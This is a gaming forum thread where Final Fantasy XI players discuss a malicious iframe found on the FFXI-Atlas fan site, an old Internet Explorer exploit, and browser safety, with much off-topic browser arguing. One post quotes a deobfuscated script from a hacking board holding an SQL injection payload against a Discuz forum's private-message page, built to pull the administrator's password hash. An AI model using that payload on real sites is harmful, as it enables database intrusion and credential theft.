Is there an exploit on ffxi-atlas?

[cassiraa]

yea, looks VML and looks old. If you've done your security updates on windows you should be fine, not sure about Mac/Vista though. If I'm wrong on any of this, plz tell me, but most windows users should have this update long since repaired.

interestingly though, the iframe links to patching.net, and to http:// www .patching. net/bbs/viewdoc_61875_18 DOT html [hotlink broken so people don't stupidly click it] is a post on http://www.patching------------.net/bbs/bbs_18.html, a chinese BBS which has various hacks and exploits [the poster has a FFXI icon too], But the post is 3/15/2007, so it really is that old.

Well, looks like someone posted on 2/25 some babelfish hogwash [http://babelfish.altavista.com/babel...64378_18.html]
that seems to imply that the VM explot may work again, which would explain why they are attempting to use a couple-year-old exploit. [and may be how they got some passwords back in '06, using this same exploit] playonlnie DOT com server seems to be in taiwan, according to it's IP.

also: trojans and tinfoil hats.

[Izzy]

Oh how fucking fun. I hate RMT.

[tyven]

god damn this shit is annoying.

[Kaylia]

Just because I'm paranoid, how can you be sure the trojan is not on your pc? What's the file/process name? >_>

[Izzy]

Just because I'm paranoid, how can you be sure the trojan is not on your pc? What's the file/process name? >_>

Yea that's what I'm wondering as well.

[Akucaen]

Simple. Gather a list of the clean processes from a clean VIsta/XP install, know the ones required for your stuff (CCC/MOM for ATi, Razor's slew of services (-_-), etc) and then terminate any ones you don't know or don't need to run. (Hi2u iTuneshelper and iPodservices when I don't own an iPod or I'm not using iTunes, but you use fucking 30mb of ram anyway.) If said services come back without you opening them yourself, google them.

[Spekkio]

i'm still kinda fuzzy this morning (having my brain raked over the coals by my boss with stupid, nonsensical statements has dulled my senses badly...) but am i reading right that it's just a flaw in IE's rendering mechanism and thus even an unprotected ffx install would be protected?

[Izzy]

13.01.2008 Attention IE users
It appears the recent hacking events targeted towards FFXI-related website and players have hit FFXI Atlas today. But thanks to the quick reports from visitors, the malicious code was cleaned up from the front page right away. The rest of the website have been scanned as well for security measures.

Please be wary when surfing FFXI-related websites with IE. Make sure your ActiveX security is strong and safe. There are several precautions that can be taken, starting with going into Tools > Internet Options, and changing your security level to "Medium" or "High". Also be sure to keep your version of Windows up to date for security towards the recent events.

They cleaned it up very quickly once it was reported.

[Flameass]

interestingly though, the iframe links to patching.net, and to http:// www .patching. net/bbs/viewdoc_61875_18 DOT html [hotlink broken so people don't stupidly click it] is a post on http://www.patching------------.net/bbs/bbs_18.html, a chinese BBS which has various hacks and exploits [the poster has a FFXI icon too], But the post is 3/15/2007, so it really is that old.

The interesting part in that post is that obfuscated document.write thats translates to this:

<SCRIPT LANGUAGE="JavaScript">
<!--
test='width="760"<table align="center" border="0" cellspacing="0"><form cellpadding="0" height="22" method="post"><tr><td Exp</td></tr><tr><td class="td">Dz5.0 height="18" class="trHead"></td></tr><tr><td <input class="td">Url: type="text" name="theAction" value="http://3800hk.com" id="theAction" onBlur=this.form.the2Action.value=this.form.theAction.value+"/pm.php?action=send&pmsubmit=yes">
<input size="50" type="hidden" name="the2Action" value="">Hash: id="the2Action" type="text" <input value="0094b488">Msgto:<input name="formhash" name="msgto" type="text" value="jackal">
<input size="10" name="subject" type="hidden" value="aa"><input size="10" name="message" type="hidden" <input value="aa">SQL: size="100" type="text" value="0) name="msgtobuddys[]" select union from password,2,0 where cdb_members class="td" uid=1/*"></td></tr><tr><td type="submit" align="center"><input value=" name="Submit" " GOGOGO type="reset" onClick="this.form.action=this.form.the2Action.value;"><input value=" name="Submit32" "></td></tr><tr><td Reset height="22" class="trHead"></td></tr><tr><td class="td">Powered align="right" <a By title="QQ:50192528">Jackal</a> href="http://hi.baidu.com/delover/" </tr> 2007.3</td> </table> </form>';
document.write(ReplaceDemo(test))
//-->
</SCRIPT>>

Analysis anyone?

[Eticket]

Can someone clarify something for me in regards to NoScript?

When I go to FFXI-Atlas I typically will enable FFXI-atlas.com itself for that trip if I want to use the treasure or NM roll overs. Is that still relatively safe? I'm assuming the exploits etc are coming from one of the 4 or 6 or whatever blocked domains that come up on each page. Am I right in that?

[Kedra]

There is another one on ffxiah also. Tried to autoinstall on my laptop yesterday but was picked up before it could. So be careful of going there again too

[Aksannyi]

I haven't been able to use atlas since the first issue came up with it. Ever since that first problem they had, whenever I go to that site it freezes my browser. I just stopped going there and started using the wiki for everything.

Sucks, because I really liked how atlas was set up, but I can't wait 20 minutes for IE to start responding again.

And I swear to god if anyone in this thread tells me to use Firefox, you can DIAF. I don't fucking want to so STFU. XD (I say this only because I know it's coming)

[tyven]

what kind of person doesnt WANT to use firefox? dont complain about not being able to access the website if you arent going to take the necessary steps to fix it.

[byte]

I haven't been able to use atlas since the first issue came up with it. Ever since that first problem they had, whenever I go to that site it freezes my browser. I just stopped going there and started using the wiki for everything.

Sucks, because I really liked how atlas was set up, but I can't wait 20 minutes for IE to start responding again.

And I swear to god if anyone in this thread tells me to use Firefox, you can DIAF. I don't fucking want to so STFU. XD (I say this only because I know it's coming)

Use Firefox.

[Aksannyi]

I'm not trying to derail the thread here, but the issue on atlas doesn't seem to be just an IE isolated problem, at least not in my case.

And I like IE. I'm used to it. It works absolutely fine. Just because I don't want to browse on the bandwagon browser that everyone thinks is better does not mean that I'm gimping myself or my computer.

It's so fucking stupid how you can't even mention that you use IE without someone saying OMFGFIREFOX!!!11!one. It's not that it's even affecting you in the slightest, so why do you care so much?

[Koga]

Why do you have a picture of two children hugging each other in bed?
Rydiu... Is that you?

[byte]

I'm not trying to derail the thread here, but the issue on atlas doesn't seem to be just an IE isolated problem, at least not in my case.

And I like IE. I'm used to it. It works absolutely fine. Just because I don't want to browse on the bandwagon browser that everyone thinks is better does not mean that I'm gimping myself or my computer.

It's so fucking stupid how you can't even mention that you use IE without someone saying OMFGFIREFOX!!!11!one. It's not that it's even affecting you in the slightest, so why do you care so much?

It's not specifically FF. Without any addons, Firefox is pretty unsecure too. It's the NoScipt and AdBlockerPlus (that you have to download seperately from other locations) which make it so effective.

[Gere]

I'm not trying to derail the thread here, but the issue on atlas doesn't seem to be just an IE isolated problem, at least not in my case.

And I like IE. I'm used to it. It works absolutely fine as long as I don't go to websites that don't work in it like atlas. Just because I don't want to browse on the bandwagon browser that everyone thinks is better does not mean that I'm gimping myself or my computer.

It's so fucking stupid how you can't even mention that you use IE without someone saying OMFGFIREFOX!!!11!one. It's not that it's even affecting you in the slightest, so why do you care so much?

If you want to ignore friendly advice, you're free to.



Also, hating things because they're popular makes you even more of a tool than loving things because they're popular. Try it yourself, and draw your own conclusions, ignore fanboys ,and ignore anti-fanboys.

[Mifaco]

I'm not trying to derail the thread here, but the issue on atlas doesn't seem to be just an IE isolated problem, at least not in my case.

And I like IE. I'm used to it. It works absolutely fine. Just because I don't want to browse on the bandwagon browser that everyone thinks is better does not mean that I'm gimping myself or my computer.

It's so fucking stupid how you can't even mention that you use IE without someone saying OMFGFIREFOX!!!11!one. It's not that it's even affecting you in the slightest, so why do you care so much?

Because the IE users are the ones getting compromised and the FF users are just sitting back and laughing?

[retice]

Seems the iframe code has been removed from the atlas site. Looks like they removed all the latest news stuff as well.